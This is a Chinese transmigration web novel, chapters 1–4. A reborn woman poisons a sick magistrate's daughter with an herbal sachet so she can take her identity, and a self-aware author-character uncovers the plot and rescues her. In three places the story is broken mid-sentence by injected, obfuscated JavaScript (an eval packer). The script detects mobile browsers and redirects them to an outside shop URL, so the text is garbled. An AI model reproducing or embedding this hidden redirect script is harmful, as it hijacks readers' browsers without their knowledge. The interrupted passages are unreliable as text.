《一篇非常规穿书文》 1. 朽木气 黄昏的乡野客栈大堂，姜绵坐在最靠里的角落。 她面前那碗阳春面早凉透了，惨白的面条坨成一团，汤面上凝着一层泛黄的冷油。她已经在这里枯坐了半个时辰，捏着筷子的指节微微发白，却始终没动几口。 离开沈府整整三天了，她贴身的暗袋里缝着沈县令给的盘缠，分量不轻，但她不敢露白。 她娘把她许了县里的富户做填房，前世她为了躲开这桩婚事，她巴结上了翰林学士承旨李承安之女李亦棠。 她幼时在姨母家的药庐寄宿，精通药理与研香，那时她瞧出李亦棠的母亲被小妾暗害，日常饮食与屋内香薰相克，便借机点醒了李亦棠。 凭着这份恩情，她得以入了李府，后来又找准时机在三皇子宋宴清面前露了脸，得其青眼。 她如愿以偿嫁与宋宴清做了妾室，在后来宋宴清登基，她又如愿以偿成了深宫里的姜嫔。 一路走来，她机关算尽，拜高踩低，只为攀上枝头。 若按戏文里的唱词，同她这般若脚下烂泥般卑贱的小人物能爬到这个位置也该知足了。 可那时她偏偏犯贱，竟奢求那最虚无缥缈的情爱。 那宋宴清对她哪有半分真心？她不过是李亦棠身边可有可无的附庸，是他用来发泄和掌控的玩物罢了。 果不其然，李亦棠为了登上凤位，她成了最理所当然的牺牲品，死在了巍巍宫墙之下。 如今有幸重活一世，她绝不会再搭李亦棠这条线。 既然通晓先机，她偏要踩着前世那些轻贱过她、利用暗害过她的人的尸骨，一步一步，爬上最高处。 今世她没有李亦棠作保，是只身逃出来的，王家没讨到人，只怕不会善罢甘休。 所以这一路上，她连睡觉都恨不得睁着半只眼，神思紧绷到了极点，生怕行差踏错半步就被抓了回去。若是那样，便彻底白瞎了她重活这一世。 客栈是座老旧的二层木楼，檐下挂着褪色的红灯笼，被风吹得晃晃悠悠。不时发出艰涩的吱呀声。 大堂里摆了七八张桌子，稀稀拉拉坐着几个客人。 店小二在柜台后面打瞌睡，掌柜的拨着算盘珠子，噼里啪啦的声音混着窗外偶尔传来的马蹄声，衬得这荒郊野店愈发寂寥。 门外是暮色四合的原野，官道延伸到看不见的远方。 再往东，离汴京尚有千里之遥。若乘车北上，少说也要十来日，若遇风雨阻路，还得更久。 姜绵隔着布料，按了按腰间的包袱。 那里面装着一张薄薄的籍帖和路引，压着青阳县令鲜红的官印。 上面白纸黑字写得明白，青阳县沈文才之女，清荷，年十七，应召入京。 这是她给自己今后谋来的新身份，青阳县县令之女——沈清荷。 闭上眼，三天前深夜的沈府后院，犹如走马灯般在脑海中重演。 那是她最后一次以姜绵的身份站立。她站在沈清荷的床榻前，居高临下地看着那个骨瘦如柴、气若游丝的少女。 循着前世的印象，她想起这个时候，恰逢皇家郊祭，香药库临时急缺人手，特向各州府发下文书，征召通晓香药、针黹、书算之女眷进京服役。 这显然是个不可多得的好机会，若是得了世家贵人赏识，便是扶摇直上。 这等好事就连不少官家小姐为此挤破了头。沈文才自然也舍不得将这等好事拱手让人，早早就定下了自家女儿。 可前世的记忆里，这位沈家小姐身子孱弱，入京应召后，连第一年的冬雪都没熬过便暴毙身亡。 而如今，沈清荷床头那枚散发着幽香的药包，成了彻底压垮沈清荷的最后生机的催命符。 是姜绵几日前费尽心思诱导沈家婢女挂上去的。 不出两日，沈清荷便咳得连地都下不了。 姜绵在心里冷冷地告诉自己。这世道就是个吃人的泥潭，你不吃人，人就吃你。 沈清荷本就命数不长，自己不过是好心，替她避免了那场必死的车马劳顿而已。 她转过身，对上沈文才布满红血丝的眼睛，声音平静得听不出一丝波澜：“大人，令爱如今的病体，只怕经不起这上京的车马颠簸。民女愿代令爱进京应召，替沈家挣这份前程。” 沈县令死死盯着她，似是在盘算此举风险几何利又得几何。 他膝下不过两女，大女儿沈清芙已然嫁作人妇，几个庶出的女儿难免难登大雅之堂，可如今清荷的名字又已经递了上去…… 若是舍下这千载难逢的机会又很是可惜。 沈文才嘴唇颤抖了许久才哽咽着问：“你……叫什么？” “民女乃是孤女，得幸在素问堂收留学工......” “——民女的姓名不重要！”她又忙不迭补充。 她缓缓跪了下去，脊背却挺得笔直，“但大人若愿意，从今日起，民女就是沈清荷！” 那三个响头磕在青砖地上，掷地有声。从此，世间再无逃婚的姜绵，只有进京待选的沈清荷。 交易达成后，沈文才本想给拨给她马车和侍女，却被她一口回绝。 她深知，若是带了沈家的人，路上万一被王家的人追上，漏了自己原身的底细惹得沈家后悔，那才是不偿失。 她只要了文书和盘缠。孤身上路，花钱置办，才是万全之策。 “咕噜——” 腹中剧烈的痉挛将她的思绪猛地拽回现实。极度的紧张过后，是排山倒海的饥饿。 她闭了闭眼，突然抄起筷子，就着那层白腻的冷油，大口大口地将坨硬的面条塞进嘴里。 吃饱了才有力气赶路，不然哪有力气活到京城。 就在这时，门外传来沉闷的车轮碾压声，伴随着几声马匹的响鼻。 姜绵抬起眼。 一辆宽大华丽的马车在客栈门前缓缓停稳。车厢用上好的乌木打造，四角悬着暗金色的风铃，在夜风中响起悦耳的声响。在这荒郊野外、破败不堪的老客栈前，这辆马车简直突兀得有些诡异。 驾车的是个劲装打扮的少年侍卫，腰佩长剑，眼神精悍。他利落地跳下车辕，转身摆好木阶，恭敬地打起厚重的车帘。 眼见这来车马如此贵气逼人，掌柜一巴掌拍醒了正在打鼾的小二，两人脸上堆笑赶去迎接。 一只玉白修长的手搭上了车框。紧接着，车里的人低头走了下来。 他穿着一身月白色的云纹锦袍，外罩墨紫色大氅，衣角不染半点长途跋涉的风尘。 客栈檐下的红灯笼漏下几丝暗光，照亮了他清挺出尘的轮廓。 堂里几个客人都没忍住多瞥了一眼。 纵使身处光线昏暗的荒郊野店，也觉其人风骨清绝，自带一派冷肃疏离、尘嚣难近之感。 姜绵愣住了。 嘴里还没咽下的冷面梗在喉咙里，一股麻意从头顶窜到脚底。 这个人，她认得的。 与这人初次见面，是在前世李府的宴会上，她站在角落里伺候，远远看见他和李亦棠说话。 李亦棠对他笑，叫他“陆哥哥”。他温文尔雅，目光始终追着李亦棠，温柔得像一汪春水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若在平时，他绝不会对一个乡野路人多放半分心思。可他此番南下，本意虽是暗查漕运贪墨案，暗地里却也顺道查探了一番“剧情”的轨迹。 按原书所写，那个恶毒女配姜绵，此刻应当已经使了手段巴结上女主李亦棠，跟着进了李家的大门才对。 可他前几日得到的回禀却是——李亦棠此行，身边根本没有带回这么个女子。 原书的剧情线，不知在哪个节点悄无声息地脱了轨。这让他这一路上都格外敏感警惕。 那头的侍卫已叫店家安排好了客房。 “主子，”侍卫晓康上前一步，低声打断了这瞬的寂静，“先上楼安顿吧。” 陆知舟终于敛了目光。 他微微颔首，转身踩上老旧的木梯。昂贵的锦靴踏在朽木上，压出一声微哑的“吱呀”动静。 他没有回头，只在拾级而上时落下淡淡一句：“去查查那青衣女子的底细。” 晓康步子一顿，顺着往楼下角落处乜了一眼。 左看右看，那也只是个清苦单薄的寻常丫头。他们这趟离京查案，一路上本就处处掣肘、行迹隐秘，主子素来不沾女色，怎么无端对个路人起了兴致？ “角落里那个？”晓康下意识脱口，可触及前方那道挺拔冷淡的背影，又生生将心底的诧异咽了回去。 主子发话，自然有主子的道理。 他立刻低头肃容：“是，属下这就去。” 2. 丁香沉 翌日。官道，野茶摊。 几枚铜板磕在生了厚重茶垢的木桌上。 晓康手脚麻利地勒紧马缰，查验完行囊，这才折回长凳旁，将声音压低：“主子，前头渡口打点妥了。暗卫已散开，副本账册也上了另一条船。” 晓康顿了顿，看着自家主子略显淡白的面容，忍不住迟疑道，“只是......您向来畏水，哪怕是看一眼深潭都会犯恶心。咱们当真要弃车乘船，绕远走水路吗？” 陆知舟垂眸，淡然一笑：“不走水路，难道等着他们瓮中捉鳖吗？” 他端起桌上那碗口有稀碎裂痕的粗茶，浅浅饮了一口：“如今我们找到了地方官员相互勾结、虚报损耗、贪墨米粮的铁证。一旦走漏了风声，他们必会追来做拦。” 陆知舟微微颔首，望向远处江面上隐约可见的白帆：“天下的乌鸦一般黑，若是走官道，沿途必是官官相护，重重设卡阻拦。到那时，便是插翅也难飞。” 晓康恍然大悟般地点了点头。 冬末料峭，寒风骤起，打在破旧的茶幡上，发出干涩的猎猎声响。 晓康打了个寒颤，他道：“主子，起风了，咱们快些动身吧，此事也耽搁不得。” 他站起身，宽大的大氅在风中翻飞，大氅翻飞，将他清瘦的脊骨拓得料峭如松。 一个“走”字刚坠地。 官道尽头陡然炸开一阵急管繁弦般的马蹄声，劈头盖脸地踏碎了荒野的死寂。 “主子，是卫民！”晓康循声望去，立刻喊住了陆知舟，“多半是前日您叫去查的那姑娘的底细，有眉目了！” 快马如疾风掣电，堪堪在茶摊前勒停。 马蹄扬起的尘土未落，卫民已翻身滚下马背，连气都顾不上喘匀，抱拳急禀道：“主子，查清楚了！昨日客栈里那女子是青阳县县令沈文才之女沈清荷，是应召进香药库服役的。” 闻言，陆知舟眉心微蹙，讶然道：“沈清荷？” “主子？”晓康察觉出异样，“可是这身份有诈？” 陆知舟根本没有答。 他霍然转身，劈手夺过晓康手里的马缰。 大氅在风中劈开一道黑影，踩镫，翻身上马——动作快得不见半分文弱。 晓康大骇，上前一把扯住马头：“主子不可！渡口连船带人全打点好了，现下掉头，回京的部署便全乱了套！若是让那些贪官给发现——” 回应他的，是一声撕裂寒风的骏马嘶鸣。 “驾！” 陆知舟猛抖缰绳，马前蹄高昂，生生调转方向，化作一道逆风的残影，朝着来时的路狂飙而去。 凌厉的风里，只重重砸下四个字。 “事关人命。” 晓康与卫民面面相觑，后背爬上一层冷汗。 两人再顾不上什么水路陆路，齐齐飞身上马，咬牙扬鞭追了上去。 . 青阳县驿馆内，陆知舟已经换上了晓康备好的劲装。 晓康压低声音，条分缕析道：“所以主子的意思是，真正的沈清荷体弱多病，又是堂堂县令千金，此番长途跋涉赴京应召，绝不可能连个随侍的丫鬟小厮都不带。而那名女子孤身上路，衣着刻意求简，恰恰是做贼心虚，为了掩人耳目？” 陆知舟不置可否地垂下眼睫，修长的指腹轻轻摩挲着桌案上的茶盏，算作默认。 晓康见状，心中顿时对自家主子生出无限的钦佩之情。主子于洞察人心、见微知著一事上，向来通透得令人心惊。 若非如此，又怎能仅凭客栈里的匆匆一面，便断定那孤女是冒名顶替，甚至推测出她会对真千金痛下杀手？ 不过，钦佩之余，晓康心头也隐隐浮起一丝古怪。 主子自幼长于世家，平日里端方克制、清心寡欲。 除去那位因家中长辈缘故自幼结识过的李家嫡小姐，他从未见主子与旁的女眷有过半分牵扯，更遑论近女色。 既是如此，主子又是从何得知，这千里之外的青阳县令家中，有个体弱多病的千金？甚至连这后宅中发生了偷天换日之局，都仿佛未卜先知、如数家珍？ 但他主子行事一向深不可测，心思犹如渊渟岳峙，绝非旁人可以揣度。 晓康深知做属下的本分，很识趣地将这满腹狐疑连同茶水一并咽了下去。 …… 是夜，乌云蔽月，夜鸦惊林。 两道如鬼魅般的黑衣身影悄无声息地掠过高墙，宛若溶入夜色的暗流，借着风声的掩护，悄然翻入了沉睡中的沈府后院。 沈府虽是县令宅邸，但守卫并不森严。两人如鬼魅般避开巡夜的家丁，在后院一间间隐秘地探了过去。 直到掠过东跨院时，一股浓重且久久不散的苦药味引起了陆知舟的注意。 这间屋子门窗紧闭，窗棂上雕着精致的海棠花纹，显然是闺阁姑娘的卧房。 陆知舟朝晓康使了个眼色，无声地挑开木窗，轻灵地翻身跃入房中。 屋内昏暗，药气熏天。陆知舟放轻脚步走近拔步床，透过半垂的纱帐，借着微弱的月光，看清了锦被下那个骨瘦如柴、面如金纸的少女。 她双眼紧闭，呼吸微弱得犹如游丝，但胸口仍在缓慢地起伏着。 陆知舟紧绷的下颌线终于微不可察地松弛了几分，在心底无声地吐出一口浊气——还好，真正的沈清荷还活着。 就在他准备抽身之际，鼻尖却敏锐地捕捉到了一丝混杂在浓烈苦药味中的奇异幽香。 他觉察出不对，顺着香味寻去，视线瞬间定格在床头悬挂着的一枚做工精巧的香囊上。 陆知舟眸光陡然一沉，没有半分迟疑，抬手便将那枚香囊一把扯了下来。 他将其紧紧攥在掌心，转身与身后的晓康对视了一眼。 两人心照不宣，原路翻出了沈府的高墙。 回到驿站时，夜色正浓。 陆知舟将那枚散发着香囊丢在桌面上，冷声吩咐：“明日一早，你拿去城中找个口风紧的大夫，悄悄查清楚这里头究竟装了什么。” . 翌日，天光大亮。 晓康行色匆匆地推门而入，平日里沉稳的脸上，此刻竟透着几分难以掩饰的凝重。 “主子。”晓康将拆解开的香囊与几包药渣一并呈上，声音压得很低，“属下找人查验过了。大夫说，这香囊里的东西单拎出来，不过是些安神驱蚊的寻常香料，对常人毫无毒性，甚至可以说是无害的。” 陆知舟翻看着古卷的手微微一顿，抬眸看他：“可？” 晓康咽了口唾沫，只觉得后背隐隐发凉：“可那沈家小姐患的是极重的肺痨！这香囊里有丁香，和沈家小姐药方里的郁金药性相恶[1］。她日夜枕着这香囊入睡，丁香之气从鼻窍吸入，循肺经而入——” “肺痨本已肺阴亏虚，寒热相争加重灼伤，导致咳血力竭，长此以往，不仅无法安神，反而会如烈火烹油般灼烧肺腑，神不知鬼不觉地加重她的病情。用不了十几日，便能叫人咳血力竭而亡！” 陆知舟放下古卷，目光落在那个已被拆开的香囊上。 屋子里陷入了死一般的寂静。 晓康忍不住倒吸了一口凉气。 那顶替身份的孤女瞧着单薄纤弱，竟能想出这等杀人不见血的阴毒法子！ 若非主子昨夜洞若观火，那真正的沈家小姐便是死了，旁人也只会当她是病入膏肓、药石无医，谁能想到这是一场蓄谋已久的谋杀？ 陆知舟听罢，看着桌上那堆被拆解出来的香料，不但没有惊骇，反而神色复杂。 作为写下这个世界的执笔者，他脑海中瞬间闪过原书的剧情。 按照书中所写，此时的姜绵本该流落至女主李亦棠的外祖家。 机缘巧合下，她凭借几分机灵得了李亦棠的赏识，这才能作为随行之人，顺理成章地跟着女主进京，一同应召入香药库。 可经他此番下江南顺手探查，得知这李家并未带回一个叫姜绵的丫头…… 说明这个姜绵也跟他一样溜出了命定的轨迹！ 若说是因为他自己觉醒后，未曾按部就班地走陆知舟这个男二的悲情路线，从而引发了牵一发而动全身的因果效应，导致其他配角的命运轨迹也跟着发生了偏移……这固然解释得通。 可真正让陆知舟心惊的，并非是剧情的改变，而是姜绵骨子里的那份“恶”。 他没料到，在没有男女主光环的逼迫、甚至主线剧情还未彻底展开的此时，这唯利是图的恶毒女配，便已经展露出了她阴损的手段，只为李代桃僵。 这些反派，难道都逃不出他写下的既定人设么？ 屋内的炭火忽明忽暗，发出一声细微的爆裂响动，打破了死一般的沉寂。 意识回笼，陆知舟转过身，深邃的黑眸中恢复了惯常的清冷克制，沉声吩咐道：“晓康，即刻去递急信回本家。” 晓康神色一正，立刻抱拳：“主子请吩咐。” “传信给父亲，让家里在朝堂上想办法走动一二，寻个由头向圣上谏言。就说近日江南一带冬瘟频发，恳请朝廷下旨，由太医署遣使至这片州府颁赐和剂、施针问诊。”陆知舟的指腹轻轻摩挲着拇指上的扳指，语气平缓却不容置喙，“务必叮嘱家里，医官的行路，必须途径青阳县。” 话音刚落，晓康猛地抬起头，满脸错愕地愣在了原地。 他跟在陆知舟身边多年，深知自家主子行事向来缜密内敛。 汴京陆门，累世公卿。 可陆知舟偏生是个异类。他自幼骨头便硬，行事独断，甚至到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“可这……”他忍不住急切道，“这与咱们何干？那顶替之人杀人与否，是她自己造的孽。迟早反噬己身，主子身上还带着漕运案的铁证，何必为了一个不相干的女子外生枝——” “节外生枝？” “晓康，你跟着我来江南，身上带着从地方衙门里摸出来的贪墨铁证，还要随时准备应对刺客的截杀。”陆知舟的语气不疾不徐，却字字千钧，“可你莫要忘了，我身上挂着的官职，不过是个清闲的馆阁校勘。按我朝律例，馆阁文臣不理刑狱，越矩查案、干涉地方政务，乃是逾越规章的大罪。” 他目光如炬，直直刺入晓康的眼底：“你为何觉得，同我一起将脑袋别在裤腰带上彻查这桩漕运案，就不是节外生枝呢？” 晓康被问得一愣，随即涨红了脸，急切地辩解道：“那、那怎么能一样！漕运贪墨案牵扯着江南数十万无辜百姓，民生多艰，饿殍遍野！属下跟着主子查这案子，那是为了大义，为了黎民百姓！若是……” “若是为了天下苍生，越矩便是壮举；若是为了后宅里的一个女子，便是不相干的闲事？”陆知舟冷冷地打断了他。 屋子里陷入了死一般的静谧。 陆知舟看着眼前这个忠心耿耿、却深陷世俗礼法之见的侍卫，眼底掠过一丝属于异世灵魂的无奈。 他那二十年的世家修养，在这一刻，被骨子里那份绝不妥协的现代平等观彻底撕开。 “晓康。”青年低沉的嗓音在寒夜中响起，掷地有声。 “若是为了天下苍生，越权便是大义。若是为了后宅里一个将死的女子，便叫闲事。是么？” 陆知舟负手道：“数万人的命是命。后宅女子的一条命，就不是命了？哪怕是生来富贵、养在深闺的千金小姐，她那一条命，也是实打实的命。若是能有法子救下他人性命，为何不全力去争取？” 晓康哑然。 在他们这些武人心底，为了成全大局，牺牲个把富贵闲人是再正常不过的道理，可主子这番话，却如同一记惊雷，劈开了他固有的偏见。 “江南水患之后，必有冬瘟流散。”陆知舟没有再苛责他，而是收回视线，将目光重新投向窗外的萧瑟的空枝，“朝廷遣使颁药，乃是安抚民心的仁政。沈清荷若能因此被救下，便是仁政惠及这一条命的实证。救一人，与救万民，在我这里，并无轻重之分。” 晓康心头剧震。 “还有，”紧接着，陆知舟话锋一转：“漕运案的证据还在我手里。那些人若知道我回来了，必会想方设法堵我的嘴。可若朝廷派了御医下来，他们便不敢轻举妄动——御医所到之处，必有御史随行。” 晓康脑中灵光一闪，所有的线索瞬间串联起来，恍然大悟！ 原来主子用遣使颁药的光明正大之名，不仅是为了不违本心救下那一条命，更是借了御史台的势，让江南的贪官投鼠忌器，为他们顺利押送证据回京铺平了道路！ “属下愚钝。竟未能领会主子的深谋远虑与……仁心！”晓康心悦诚服地深深低头，连眼眶都有些发热，“属下这就去传信。” 他刚要转身，忽然又想起什么：“主子，那……那个顶替身份的人，要不要属下派人盯着？” 陆知舟沉默了一息。 “不必。”他说，“由她去。她还会再出现的。” 3. 苦楝香 离开牧尘镇的第三日，寒风愈发凛冽。 姜绵一身粗布衣裳，梳着寻常妇人的发髻，脸上抹了泥灰，正坐在一辆去往邻县的破旧骡车上。 骡车颠簸，正如她此刻七上八下、惊魂未定的心。 “驾！驾！” 突如其来的急促马蹄声伴随着粗厉的喝骂，瞬间撕裂了官道的平静。 姜绵猛地撩开破布车帘，待看清后方飞驰而来的那十几骑人马皆穿着王府家丁的服饰时，脑子里“嗡”地一声炸开。 王家人竟然追上来了！ 不但追上来了，还封锁了前方的关卡，正沿着官道挨个盘查过往车辆！ “吁——” 赶车的老汉被这阵仗吓得赶忙勒了缰绳，骡车猛地一晃。 老汉颤抖着嗓子道：“姑娘啊！你早说送你这一程会碰上这阵仗！你这银子哪怕给的再多我也不敢接啊！” 就在王府家丁狞笑着冲向这辆骡车，准备挑开车帘的千钧一发之际，骡车的另一侧突然滚落下一道单薄的身影。 姜绵弃了骡车，一头扎进了官道旁荒芜的深林之中。 “在那边！追！要捉活的！” 王家人愤怒的咆哮声在身后炸响。 姜绵顾不得荆棘划破衣衫，顾不得污泥裹满双脚。 恐惧一下子逼出了她骨子里最原始的求生本能。她拨开枯枝，踩碎烂叶，几乎是不要命地往前窜，像头被逼到绝路的困兽。 她不要驾与那老翁做填房！那样的富贵无虞，她姜绵打死不要！ 前世她是这样想，今生亦然！ 唯一的生路，在水上！ 当姜绵狼狈不堪、气喘吁吁地冲出深林，扑到那片水浪翻滚的野渡口时，暮色已然四合。 渡口停泊着几只破烂的民船，艄公们正准备收船歇息。而在这些破船之外，渡口不远处，正行驶着一艘气派非凡的双层客船。 那船通体呈墨色，吃水极深，虽没有张扬的旗帜，但无论是船身的造形，还是那隐约可见的汴京风格的灯笼，都在无声地昭示着船主尊贵不凡的身份。 在这穷乡僻壤的野渡口，怎会有这等气派的客船？ 姜绵站在岸边的芦苇丛后，死死盯着那艘客船，脑海中灵光一闪——陆知舟！ 若真是他的话，那也太巧了！ 前日她在驿馆上那的一眼，她至今记忆犹新。 按日子算，他没准去完了山阴县，已经与自己的小青梅叙好旧了。 除了他，没有人能在这只手遮天的江南地界，挡得住王家的势力，除了这艘进京的官船，没有任何一条船能带她去往权力的中心，去搏那个唯一的翻身机会！ “汪！汪汪——！” 身后枯枝碎裂，恶犬的狂吠伴着家丁的怒骂声，几乎要踩上她的后脚跟。 火把的红光舔上了林子边缘，把江水映得一片惨白。 姜绵深吸一口气，眼底划过一抹决绝的狠色。 老天爷把最后一条生路扔在了江心。 那她姜绵，就拿这条命去赌。 她没有去求那些早已被吓破胆的艄公，而是从怀里掏出那枚沾了泥水的路引籍帖，死死咬在嘴里。 “噗通——” 一声轻响，单薄的身影在暮色中划出一道弧线，一头扎进了冰冷刺骨的江水之中。 冬日的水冻的人直打牙战，好在她水性极好，两条腿似不知疲累的一直往客船的方向蹬。 …… 客船劈开黑沉沉的水浪，发出一阵阵艰涩的摇晃声。 不同于宽阔平稳的陆路，水上的每一次颠簸，对陆知舟而言都是漫长的凌迟。 船舱内门窗紧闭，炭火烧得极旺，却驱不散他心底泛起的恶寒。 他极度畏水。 此时他端坐在案榻前，面若菜色，修长的指节死死抠着案几边缘，骨节泛白。 他甚至不敢听外头水浪拍打船壳的“哗啦”声，只能强迫自己闭上眼，在脑海中一遍遍复盘着朝堂上的权力倾轧，以此来抵抗那种仿佛随时会溺毙的窒息感。 只要熬过这段水路回京，这局棋便活了。 至于那什么鬼系统，先死开一边。 而此时的船舱外，寒风凛冽。 晓康按着腰间的佩剑，坐在甲板上，百无聊赖地扫视着被浓雾笼罩的江面。 水流湍急，除了风声，周遭静得令人发毛。 就在客船即将驶过一处生着茂密芦苇的江湾时。 “哗啦——” 极不自然的一声水响传来，在一片规律的浪声中显得尤为突兀。 晓康目光一凛，如鹰隼般猛地盯住左侧的船舷，大拇指无声地顶开了剑鞘寸许，露出一截寒芒。 是贪官派来的水鬼刺客？！ 他放轻脚步，如同暗夜里的猫一般，缓缓逼近船沿，探出身子往灯笼光晕照亮的漆黑水面看去。江水深幽，雾气氤氲，似乎什么都没有。 就在他紧锁眉头，以为是水花作祟，稍稍松懈的那一瞬—— “啪！” 水花骤然四溅！ 一只惨白、瘦削、湿淋淋的手，带着极大的爆发力与骇人的求生欲，猛地从黑沉沉的江水中探出，发狠地抠住了甲板边缘。 紧接着，第二只手也拼死扒了上来，像是在悬崖边抠住了最后一块生石。 “什么人？！” 晓康厉喝一声，“铮”地拔出长剑，雪亮的剑锋毫不留情地直指那双扒在船沿上的手！ 在晓康的剑锋即将劈下之际。 “啪！” 旁边突然伸出一只手，一巴掌狠狠拍在卫民的手腕上。晓康吃痛，剑锋瞬间偏了半寸，砍在了一旁的木栏上。 “你傻呀！把剑收起来！”卫民从暗处窜出来，瞪了晓康一眼，指着那双扒在船沿上、因为用力而微微颤抖的惨白小手，“仔细看清楚，这哪里是什么恶徒，分明是个落水的姑娘！救人要紧，还不快搭把手先把人拉上来！” 晓康定睛一看，果然见那江水中浮沉着一张被冻得青紫的脸，这才大梦初醒般收了剑，与卫民一左一右，合力拽住那人的胳膊，猛地将她从刺骨的江水中提溜了上来。 一声闷响。 姜绵像一条濒死的鱼，狼狈地摔在坚硬的甲板上。江水顺着她的发丝、粗布衣衫疯狂地往下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514987|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淌，顷刻间就在她身下积起了一滩水渍。 “咳……咳咳咳！” 她蜷缩在甲板上，剧烈地咳喘着，每一次呼吸都像是胸腔里吞咽着带着冰碴的刀片。 极度的寒冷与脱力让她连爬起来的力气都没有，明明浑身抖如筛糠，可她的手却把自己嘴里叼着的籍贴拿起后攥的死紧。 这个绝对不能丢，这是她的新生。 卫民和晓康两个人面面相觑，双手局促地在半空中悬着，愣是不敢再贸然上前搀扶。 这毕竟是个浑身湿透的姑娘家，衣衫贴在身上，他们这些习武的粗人实在不好有什么动作。 就在甲板上一片尴尬的僵持时。 “可是发生什么了？” 一道温润清冽，宛若碎玉击冰般好听的声音，隔着厚重的雕花木门，从船舱内徐徐传出。 晓康如蒙大赦，连忙转过身，梗着脖子朝舱门大声应道：“回主子！方才有个姑娘落水了，死死扒着咱们的船沿，属下们便做主把她救上来了。看样子应当无事，虽然呛了水，但人还清醒着呢！” 门内静默了一瞬。 随后，“吱呀”一声轻响，紧闭的舱门被从里面推开。 舱内那温暖、明亮的烛光瞬间倾泻而出，如同一把利剑，劈开了甲板上湿冷粘稠的浓雾。 伴随着一股极淡的苦楝香气，一道修长挺拔的身影跨出门槛，步入了这寒风凛冽的夜色中。 陆知舟垂下眼睫，强忍着对周遭水汽的本能厌恶，目光越过两个手足无措的侍卫，落在了甲板上那个狼狈不堪的泥泞身影上。 他没有犹豫，踩着满地积水缓步走近，然后微微俯下身，朝着那蜷缩在地上的女子，伸出了一只骨节分明、修长冷白的手。 姜绵的嗅觉极灵。 在满是江水腥咸与刺骨寒意的甲板上，她竟闻到了一股淡雅清新的苦楝香，丝丝缕缕地破开浓雾，萦绕在鼻尖。 她浑身力竭，意识已然渐渐涣散，发紫的唇瓣忍不住喃喃呓语：“分明是隆冬……哪来的……春花的气味……” 她艰难地掀起沉重的眼皮，循着那股暖香，微微仰起头。 在那扇透出融融暖意的舱门前，一个身形清瘦的少年正逆着光，静静地伫立在她面前。 夺目的烛火在他身后晕染开来，为他勾勒出一圈毛茸茸的金色轮廓。 她根本看不清他隐在阴影中的面容，只能看到那丰姿隽爽的身形，以及那件被夜风吹得猎猎作响的玄色大氅。 鬼使神差地，她从湿冷的泥水里颤颤巍巍地探出指尖，将那只沾满污垢与血丝的手，递向了那片虚幻的温暖。 下一瞬，那只骨节分明的手稳稳地回握住了她。掌心干燥温润，透着不容抗拒的力道，拉着她借力起身。 姜绵的脑子仍如一团混混沌沌的浆糊。 只觉天旋地转间，一件宽大的暗色大氅带着尚未散去的体温，兜头落在了她的肩上。 那浓烈却又令人安神的苦楝香味，连同大氅的重量，将她整个人严丝合缝地包裹了起来。 紧绷到极致的神经在这一刻彻底崩断，她只觉眼前一黑，便彻底失去了意识。 4. 檀香凝 不知过了多久，姜绵在一阵轻微的摇晃中悠悠转醒。 眼皮重若千钧，她费力地睁开眼，视线渐渐聚焦，率先映入眼帘的，是一张凑得很近、满是阳光讨喜之色的少年脸庞。 这少年生得圆脸杏眼，透着股毫无城府的机灵劲儿。 姜绵下意识地张了张干裂的嘴唇，喉咙里却仿佛塞了把干柴，发不出一丝声响。 一道声音响起：“她是不是在说什么？” “哎哟，傻呀！人家这是要水！快拿水来！” 旁边传来另一道沉稳些的男声。 姜绵微微偏头，只见端着茶盏走过来的是个浓眉阔目、身形板正的青年，虽穿着粗布短打，但步履之间透着武人特有的干练与利落。 这两人，正是那夜甲板上的晓康与卫民。 卫民动作利落地将姜绵半扶起来，把温水递到她嘴边。 几口甘霖下肚，姜绵才觉得那火燎似的喉干有了些许缓和。 “是……你们救了我？”那嗓音嘶哑难听，粗喇喇地简直活像是一只被人掐住了脖子的公鸭。 姜绵一张嘴，就连自己都吓了一跳。 晓康闻言，嘿嘿一笑，露出两颗小虎牙，他挠了挠头：“算也不算。” 姜绵眸光微闪，脑海中浮现出昏迷前那个逆光如谪仙般的清瘦身影。 那多半是他们的主子陆知舟。 她若有所思地点点头，做出一副感激涕零的模样，明知故问道：“那是……你们的主子救了我？” 晓康闻言，表情顿时变得十分古怪。他转头和卫民对视了一眼，干咳两声道：“咳，也不算。” 姜绵愣住了：“那是为何？” 一旁的卫民面无表情地补充道：“那夜我们见主子刚把自己的大氅解下来披在你身上，结果就碰上一阵水浪打来，主子便面色惨白地……吐了你一身。吐完他自己也直不起身子了。” “……” 她僵硬地低下头，这才开始打量起自己身上的衣衫。 方才没注意，此刻才发现，原先那身湿淋淋的粗布衣裳早没了踪影，取而代之的是一身干爽的月白色的缎面襦裙，布料绵软，针脚细密，一看便知价格不菲。 姜绵心头猛地一跳，骨子里的戒备瞬间乍起。 她忽而有些不自在地瑟缩了一下，双手下意识地上下摸索了下自己，眼底划过一丝警惕。 晓康是个机灵的，一眼便看出了对方动作里的意思。 他吓得犹如被踩了尾巴的猫，瞬间涨红了脸，连连摆手，磕磕巴巴地赶紧补充：“姑、姑娘莫要误会！您的衣服，是我们主子吩咐，连夜找了城里医馆的婶子给您换的！我们可什么都没瞧见，姑娘无需担心！” “那夜主子晕船实在厉害，您又病得只剩一口气了，我们便赶紧叫艄公把船靠了岸，一人扛着主子，一人扛着您，心惊胆战地去找了大夫。” 